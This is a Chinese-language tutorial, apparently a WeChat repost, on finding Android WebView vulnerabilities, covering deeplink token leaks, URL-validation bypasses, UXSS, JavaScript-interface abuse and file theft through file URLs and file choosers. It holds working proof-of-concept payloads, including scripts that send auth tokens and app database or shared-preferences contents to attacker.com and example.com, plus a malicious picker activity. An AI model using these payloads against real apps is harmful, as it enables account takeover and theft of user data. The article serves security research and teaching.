WebView 是一个嵌入式浏览器组件,允许应用程序在应用内显示网页内容,而不需要跳转到外部浏览器,是一种在 Android 应用中嵌入网页或 Web 应用的方式,是 Android 生态系统中使用最广泛的组件,也是最容易出现错误的地方。如果可以加载任意 URL 或执行攻击者控制的 JavaScript 代码,那么通常可能会造成身份验证令牌泄露、任意文件读取和访问任意Intent,甚至可能导致远程代码执行。
典型基础漏洞示例
最常见的情况是,在 WebView 中加载任意 URL 没有任何检查或限制。假设我们有一个 DeeplinkActivity
处理 URL 的程序,例如 myapp://deeplink
。
文件 AndroidManifest.xml
<activity android:name=".DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="myapp" android:host="deeplink" />
</intent-filter>
</activity>
在内部,它具有处理 WebView 深层链接的能力:
public class DeeplinkActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handleDeeplink(getIntent());
}
private void handleDeeplink(Intent intent) {
Uri deeplink = intent.getData();
if ("/webview".equals(deeplink.getPath())) {
String url = deeplink.getQueryParameter("url");
handleWebViewDeeplink(url);
}
}
private void handleWebViewDeeplink(String url) {
WebView webView = ...;
setupWebView(webView);
webView.loadUrl(url, getAuthHeaders());
}
private Map<String, String> getAuthHeaders() {
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", getUserToken());
return headers;
}
}
在这种情况下,攻击者可以通过创建包含以下代码的页面来进行远程攻击,以获取用户的身份验证令牌:
<!DOCTYPE html>
<html>
<body style="text-align: center;">
<h1><a href="myapp://deeplink/webview?url=https://attacker.com/">Attack</a></h1>
</body>
</html>
当用户点击 时 Attack
,存在漏洞的应用程序会自动 https://attacker.com
在内置 WebView 中打开,并将用户的身份令牌添加到 HTTP 请求的标头中。因此,攻击者可以窃取它并接管受害者的帐户。
URL 验证不足示例
仅检查主机
这是最典型的错误之一。只检查了 host 的值,而忘记了 scheme:
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "pikasec.com".equals(uri.getHost());
}
例如,攻击者可以使用javascript、content或 file 方案 来绕过检查:
-
javascript://pikasec.com/%0aalert(1)
-
file://pikasec.com/sdcard/exploit.html
-
content://pikasec.com/
javascript Poc中攻击者可以在 WebView 中执行任意JavaScript 代码
content Poc中可以声明具有指定权限的内容提供程序,并使用该 ContentProvider.openFile() 方法返回任意文件
File Poc中允许他们打开公共目录中的文件
使用错误的字符串匹配函数检查Host
开发人员使用逻辑上不正确的方法来验证 URL,例如下列代码
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "https".equals(uri.getScheme()) && uri.getHost().endsWith("pikasec.com");
}
此处前半部分检查Scheme是没有问题的,但是在检测Host时,使用了endsWith,那么当host为xxxpikasec.com ,也是符合的,所以就可以绕过Host检测
使用 HierarchicalUri 和 Java Reflection API 绕过Host equals检查
让我们看一个看似安全的 URL 验证的示例:
Uri uri = getIntent().getData();
boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "pikasec.com".equals(uri.getHost());
if (isValidUrl) {
webView.loadUrl(uri.toString(), getAuthHeaders());
}
android.net.Uri 在Android上被广泛使用,但实际上它是一个抽象类, android.net.Uri$HierarchicalUri 是其子类之一。Java Reflection API 使得创建能够绕过此检查的Uri成为可能。使用下列Poc测试下
MainActivity.java
:
public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri;
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance("pikasec.com", "pikasec.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
} catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent();
intent.setData(uri);
intent.setClass(this, TestActivity.class);
startActivity(intent);
}
}
TestActivity.java
:
public class TestActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri uri = intent.getData();
Log.d("evil", "Scheme: " + uri.getScheme());
Log.d("evil", "UserInfo: " + uri.getUserInfo());
Log.d("evil", "Host: " + uri.getHost());
Log.d("evil", "toString(): " + uri.toString());
}
}
日志如下:
Scheme: https
UserInfo: null
Host: pikasec.com
toString(): https://[email protected]
可以看到通过这种方式可以绕过精准匹配,但此种方式有所限制,,Android 9(API 级别 28)及更高版本对反射的使用有了更严格的限制和警告。如果目标设备系统版本较新,利用反射构造私有内部类的 Uri 可能会失败。
旧版 Android 上的反斜杠绕过
在 API 24(即 Android 7.0)以下的设备上,android.net.Uri 解析器 java.net.URL 存在绕过风险。如果我们运行以下代码
String url = "https://attacker.com\\@pikasec.com";
Log.d("evil", Uri.parse(url).getHost()); // `pikasec.com` printed
webView.loadUrl(url, getAuthHeaders()); // `https://attacker.com//@pikasec.com` loaded
因此,这种攻击使我们能够绕过以下检查:
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "https".equals(uri.getScheme()) && "pikasec.com".equals(uri.getHost());
}
通用XSS示例
攻击者还可以控制baseUri
和 data
参数
webView.loadDataWithBaseURL("https://google.com/",
"<script>document.write(document.domain)</script>",
null, null, null);
并在任意网站上受到XSS攻击,还有另一种比较经典的UXSS。我们来看看导出的代码 WebActivity
:
public class WebActivity extends Activity {
private WebView webView;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.web_activity);
this.webView = findViewById(R.id.webView);
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.loadUrl(getIntent().getDataString());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
this.webView.loadUrl(intent.getDataString());
}
}
在这种情况下, onCreate
在活动首次启动时调用,并且 onNewIntent
每次活动收到新的 Intent 时都会调用。以下代码允许在易受攻击的应用程序中实现 UXSS:
Intent intent = new Intent();
intent.setData(Uri.parse("https://google.com/"));
intent.setClassName("com.pikasec", "com.pikasec.WebActivity");
startActivity(intent);
new Handler().postDelayed(() -> {
intent.setData(Uri.parse("javascript:document.write(document.domain))"));
startActivity(intent);
}, 3000);
首次运行时,他会访问一个域名网站。然后再将运行注入的JS代码,这种通常是为了方式第一次会校验白名单域名,通过延时注入来进行JS代码
JavaScript 代码注入示例
开发人员经常不安全地将数据与 JavaScript 代码连接起来,导致加载的域上出现 XSS:
this.webView.loadUrl("https://pikasec.com/");
String page = getIntent().getData().getQueryParameter("page");
this.webView.evaluateJavascript("loadPage('" + page + "')", null);
或者使用下列:
this.webView.loadUrl("javascript:loadPage('" + page + "')");
这种攻击类似于 Web 世界中的基于 DOM 的 XSS。但在 Android 上,根据 WebView 配置,可以进一步利用该漏洞。
针对内部 URL 处理程序的攻击
许多 Android 应用程序都使用
WebViewClient.shouldOverrideUrlLoading()
方法来自定义 URL 处理逻辑 ,但其功能通常以不安全的方式实现:
class CustomClient extends WebViewClient {
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
String url = uri.toString();
if (url.startsWith("intent://")) {
try {
Intent intent = Intent.parseUri(url, 0);
view.getContext().startActivity(intent);
} catch (URISyntaxException e) {
}
return true;
}
String page;
if ((page = uri.getQueryParameter("page")) != null) {
view.evaluateJavascript("loadPage('" + page + "')", null);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
}
this.webView.setWebViewClient(new CustomClient());
this.webView.loadUrl(attackerControlledUrl);
在加载每个 URL 时,WebView 会调用该 shouldOverrideUrlLoading
方法来检查是否需要由应用程序或 WebView 本身处理。通常,这用于启动activities或handlers以获取额外的deeplink列表。重要的是要注意,即使攻击者无法绕过加载任意域的检查,他们仍然可以尝试利用处理程序。
例如,在此示例中,攻击者可以通过打开来启动任意activity,并在已加载的页面上实现 XSS https://pikasec.com/?page='-alert(1)-'
。
针对 JavaScript 接口的攻击
如果应用将 JavaScript 接口添加到 WebView,攻击者只要能在此 WebView 内执行任意代码即可获得这些接口的访问权限。通常,JS 接口分为两类:第一类返回数据(例如地理位置或用户的身份验证令牌),第二类执行操作(例如拍照或向指定端点发送查询)。
class JSInterface {
public String getAuthToken() {
//...
}
public void takePicture(String callback) {
//...
}
}
this.webView.addJavascriptInterface(new JSInterface(), "JSInterface");
this.webView.loadUrl(attackerControlledUrl);
在这种情况下,WebView 会自动创建一个具有指定名称的 JavaScript 对象,并且使用从 Java 代码导入的方法。要从此示例中获取用户的令牌,我们需要做的就是运行以下代码:
<script type="text/javascript">
location.href = "https://attacker.com/?leaked_token=" + JSInterface.getAuthToken();
</script>
允许通过File URL 进行文件访问的攻击
当设置setAllowFileAccessFromFileURLs为true时,可能会发生此攻击:
this.webView.getSettings().setAllowFileAccessFromFileURLs(true);
或者
this.webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
攻击者可以将任意 URL 加载到 WebView 中:
this.webView.loadUrl(attackerControlledUrl);
在这种情况下,攻击者可以使用 XHR 查询来获取易受攻击的应用程序可以访问的任意文件的内容,并将其发送到远程恶意服务端:
<script type="text/javascript">
function theftFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback(null);
}
req.send();
}
var file = "/data/user/0/com.pikasec/databases/user.db";
theftFile(file, function(contents) {
location.href = "https://attacker.com/?data=" + encodeURIComponent(contents);
});
</script>
通过文件选择器窃取任意文件
开发人员经常希望让用户从存储在其设备上的文件中做出选择。例如,HTML 提供了 <input type="file" ... />
用于此目的的元素。在 Android 上,需要实现 WebChromeClient.onShowFileChooser()
方法来描述文件选择逻辑。通常,它会利用隐式意图来获取 URI,这些 URI 会传递给 ValueCallback.onReceiveValue()
方法,而无需进行任何类型的验证。这使得攻击者可以拦截意图并传递受保护文件的 URI,从而导致任意文件被盗。
存在漏洞的应用程序示例:
private static final int CONTENT_CODE = 1337;
private WebView webView;
private ValueCallback<Uri[]> callback;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main_activity);
webView = findViewById(R.id.webView);
webView.setWebChromeClient(new WebChromeClient() {
public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
callback = filePathCallback;
startActivityForResult(fileChooserParams.createIntent(), CONTENT_CODE);
return true;
}
});
String someAttackerControlledUrl = getIntent().getDataString();
webView.loadUrl(someAttackerControlledUrl);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode != Activity.RESULT_OK) {
// Handle error
return;
}
switch (requestCode) {
case CONTENT_CODE: {
callback.onReceiveValue(new Uri[]{ data.getData() });
return;
}
}
}
如果您查看 Android 源代码(或者更确切地说是 com.google.android.webview
Google 的 Android 上的应用程序源代码),您会发现即使是标准方法也会返回隐式意图。通常,开发人员还会使用隐式意图来选择文件
攻击者可以 拦截 FileChooserParams.onShowFileChooser()
这些意图 ,然后返回受保护文件的 URI。
攻击示例:
页面的 HTML 代码
<input type="file" accept="application/pdf" onchange="blockCallback(window.URL.createObjectURL(this.files[0]))">
<script type="text/javascript">
function blockCallback(blobUrl) {
theftFile(blockUrl, function(contents) {
// Leak file contents to a third-party URL
new Image().src = "http://example.com/?data=" + encodeURIComponent(contents);
});
}
function theftFile(url, callback) {
var req = new XMLHttpRequest();
req.open("GET", url, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback("error");
}
req.send();
}
</script>
攻击者应用程序的代码
文件 AndroidManifest.xml
<activity android:name=".PickerActivity" android:enabled="true" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<category android:name="android.intent.category.OPENABLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="application/pdf" />
</intent-filter>
</activity>
文件 PickerActivity.java
:
public class PickerActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = Uri.parse("file:///data/user/0/com.pikasec/shared_prefs/secrets.xml");
setResult(-1, new Intent().setData(uri));
finish();
}
}
原文始发于微信公众号(暴暴的皮卡丘):Android WebView漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论